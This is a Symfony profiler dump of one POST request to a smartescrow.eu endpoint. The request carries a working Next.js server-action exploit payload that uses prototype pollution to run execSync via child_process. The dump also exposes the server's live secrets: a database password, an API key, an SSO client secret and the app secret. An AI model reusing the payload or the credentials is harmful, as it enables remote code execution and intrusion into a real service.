Redirect 302 redirect from HEAD @app_vue (268968)

POST https://webhook.smartescrow.eu/apps

Response
302 Found
IP
3.7.65.86
Profiled on
Token
c2d927

Request / Response

Request

GET Parameters

No GET parameters

POST Parameters

Key Value
0 
"{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}"
1 
""$@0""
2 
"[]"

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller 
"App\Controller\VueController::index"
_firewall_context 
"security.firewall.map.context.main"
_redirected 
true
_route 
"app_vue"
_route_params 
[
  "vueRouting" => "apps"
]
_security_authenticators 
[]
_security_firewall_run 
"_security_main"
_security_skipped_authenticators 
[
  SmartEscrow\SsoSdk\Security\SsoAuthenticator {#258
    -ssoClient: SmartEscrow\SsoSdk\Client\SsoClient {#202 …}
    -urlGenerator: Symfony\Bundle\FrameworkBundle\Routing\Router {#186 …}
    -eventDispatcher: Symfony\Component\EventDispatcher\EventDispatcher {#73 …}
    -loginSuccessRoute: "app_person"
    -loginFailureRoute: "sso_login"
    -userProvider: SmartEscrow\SsoSdk\Security\SsoUserProvider {#255 …}
  }
  Symfony\Component\Security\Http\Authenticator\RememberMeAuthenticator {#330
    -secret: ? string
    -tokenStorage: Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage {#244 …}
    -cookieName: "REMEMBERME"
    -logger: Monolog\Logger {#281 …}
    -rememberMeHandler: Symfony\Component\Security\Http\RememberMe\SignatureRememberMeHandler {#311 …}
  }
]
vueRouting 
"apps"

Request Headers

Header Value
accept 
"*/*"
accept-encoding 
"gzip, deflate"
connection 
"keep-alive"
content-length 
"753"
content-type 
"multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad"
cookie 
"BASTANTEOSESSID=6b3fe52c281fab02fab3bb7252ff7cd4; sf_redirect=%7B%22token%22%3A%22268968%22%2C%22route%22%3A%22app_vue%22%2C%22method%22%3A%22HEAD%22%2C%22controller%22%3A%7B%22class%22%3A%22App%5C%5CController%5C%5CVueController%22%2C%22method%22%3A%22index%22%2C%22file%22%3A%22%5C%2Fvar%5C%2Fwww%5C%2Fvhosts%5C%2Fbastanteo.smartescrow.eu%5C%2Fsrc%5C%2FController%5C%2FVueController.php%22%2C%22line%22%3A12%7D%2C%22status_code%22%3A302%2C%22status_text%22%3A%22Found%22%7D"
host 
"webhook.smartescrow.eu"
next-action 
"x"
user-agent 
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"
x-nextjs-html-request-id 
"SSTMXm7OJ_g0Ncx6jpQt9"
x-nextjs-request-id 
"b5dce965"
x-php-ob-level 
"1"

Request Content

Request content not available (it was retrieved as a resource).

Response

Response Headers

Header Value
cache-control 
"no-cache, private"
content-type 
"text/html; charset=utf-8"
date 
"Thu, 18 Dec 2025 01:07:24 GMT"
location 
"/login"
x-debug-token 
"c2d927"

Cookies

Request Cookies

Key Value
BASTANTEOSESSID 
"6b3fe52c281fab02fab3bb7252ff7cd4"
sf_redirect 
"{"token":"268968","route":"app_vue","method":"HEAD","controller":{"class":"App\\Controller\\VueController","method":"index","file":"\/var\/www\/vhosts\/bastanteo.smartescrow.eu\/src\/Controller\/VueController.php","line":12},"status_code":302,"status_text":"Found"}"

Response Cookies

No response cookies

Session

Session Metadata

Key Value
Created 
"Thu, 18 Dec 25 01:07:24 +0000"
Last used 
"Thu, 18 Dec 25 01:07:24 +0000"
Lifetime 
3600

Session Attributes

Attribute Value
_security.main.target_path 
"https://webhook.smartescrow.eu/apps"

Session Usage

0 Usages
Stateless check enabled

Session not used.

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
APP_DEBUG 
"0"
APP_ENV 
"dev"
APP_SECRET 
"03c434043c10aa28ddf0q1b1ba088382"
CAJA_FICHEROS_URL 
"https://cajaficheros.smartescrow.eu"
CORS_ALLOW_ORIGIN 
"*"
DATABASE_URL 
"mysql://usr_bastanteo:B4st4nt30%21@127.0.0.1:3306/bastanteo?serverVersion=mariadb-10.2.33"
MERCURE_JWT_SECRET 
"!ChangeThisMercureHubJWTSecretKey!"
MERCURE_PUBLIC_URL 
"https://example.com/.well-known/mercure"
MERCURE_URL 
"https://example.com/.well-known/mercure"
MESSENGER_TRANSPORT_DSN 
"doctrine://default?auto_setup=0"
SMES_API_KEY 
"18f0c0443205d05df79410a6dbaa02a19ca9ef29aa22fad8bb9d3fa92aa38098"
SSO_CLIENT_ID 
"bastanteo"
SSO_CLIENT_SECRET 
"60bb7d7f10c22ab96f08de71c3f2815d4c3e4dd08f0f3b4d827779bdad9ff415"
SSO_REDIRECT_URI 
"https://bastanteo.smartescrow.eu/login/callback"
SSO_SERVER_URL 
"https://panel.smartescrow.eu"

Defined as regular env variables

Key Value
APP_PROJECT_DIR 
"/var/www/vhosts/bastanteo.smartescrow.eu"
APP_RUNTIME 
"Symfony\Component\Runtime\SymfonyRuntime"
APP_RUNTIME_OPTIONS 
[
  "project_dir" => "/var/www/vhosts/bastanteo.smartescrow.eu"
]
CONTENT_LENGTH 
"753"
CONTENT_TYPE 
"multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad"
DOCUMENT_ROOT 
"/var/www/vhosts/bastanteo.smartescrow.eu/public"
DOCUMENT_URI 
"/index.php"
FCGI_ROLE 
"RESPONDER"
GATEWAY_INTERFACE 
"CGI/1.1"
HOME 
"/var/www"
HTTPS 
"on"
HTTP_ACCEPT 
"*/*"
HTTP_ACCEPT_ENCODING 
"gzip, deflate"
HTTP_CONNECTION 
"keep-alive"
HTTP_CONTENT_LENGTH 
"753"
HTTP_CONTENT_TYPE 
"multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad"
HTTP_COOKIE 
"BASTANTEOSESSID=6b3fe52c281fab02fab3bb7252ff7cd4; sf_redirect=%7B%22token%22%3A%22268968%22%2C%22route%22%3A%22app_vue%22%2C%22method%22%3A%22HEAD%22%2C%22controller%22%3A%7B%22class%22%3A%22App%5C%5CController%5C%5CVueController%22%2C%22method%22%3A%22index%22%2C%22file%22%3A%22%5C%2Fvar%5C%2Fwww%5C%2Fvhosts%5C%2Fbastanteo.smartescrow.eu%5C%2Fsrc%5C%2FController%5C%2FVueController.php%22%2C%22line%22%3A12%7D%2C%22status_code%22%3A302%2C%22status_text%22%3A%22Found%22%7D"
HTTP_HOST 
"webhook.smartescrow.eu"
HTTP_NEXT_ACTION 
"x"
HTTP_USER_AGENT 
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"
HTTP_X_NEXTJS_HTML_REQUEST_ID 
"SSTMXm7OJ_g0Ncx6jpQt9"
HTTP_X_NEXTJS_REQUEST_ID 
"b5dce965"
PHP_SELF 
"/index.php"
QUERY_STRING 
""
REDIRECT_STATUS 
"200"
REMOTE_ADDR 
"3.7.65.86"
REMOTE_PORT 
"59788"
REMOTE_USER 
""
REQUEST_METHOD 
"POST"
REQUEST_SCHEME 
"https"
REQUEST_TIME 
1766020044
REQUEST_TIME_FLOAT 
1766020044.8494
REQUEST_URI 
"/apps"
SCRIPT_FILENAME 
"/var/www/vhosts/bastanteo.smartescrow.eu/public/index.php"
SCRIPT_NAME 
"/index.php"
SERVER_ADDR 
"93.174.5.104"
SERVER_NAME 
"webhook.smartescrow.eu"
SERVER_PORT 
"443"
SERVER_PROTOCOL 
"HTTP/1.1"
SERVER_SOFTWARE 
"nginx/1.26.3"
SYMFONY_DOTENV_PATH 
"/var/www/vhosts/bastanteo.smartescrow.eu/.env"
SYMFONY_DOTENV_VARS 
"APP_ENV,APP_DEBUG,APP_SECRET,MESSENGER_TRANSPORT_DSN,MERCURE_URL,MERCURE_PUBLIC_URL,MERCURE_JWT_SECRET,DATABASE_URL,CAJA_FICHEROS_URL,CORS_ALLOW_ORIGIN,SMES_API_KEY,SSO_CLIENT_ID,SSO_CLIENT_SECRET,SSO_SERVER_URL,SSO_REDIRECT_URI"
USER 
"www-data"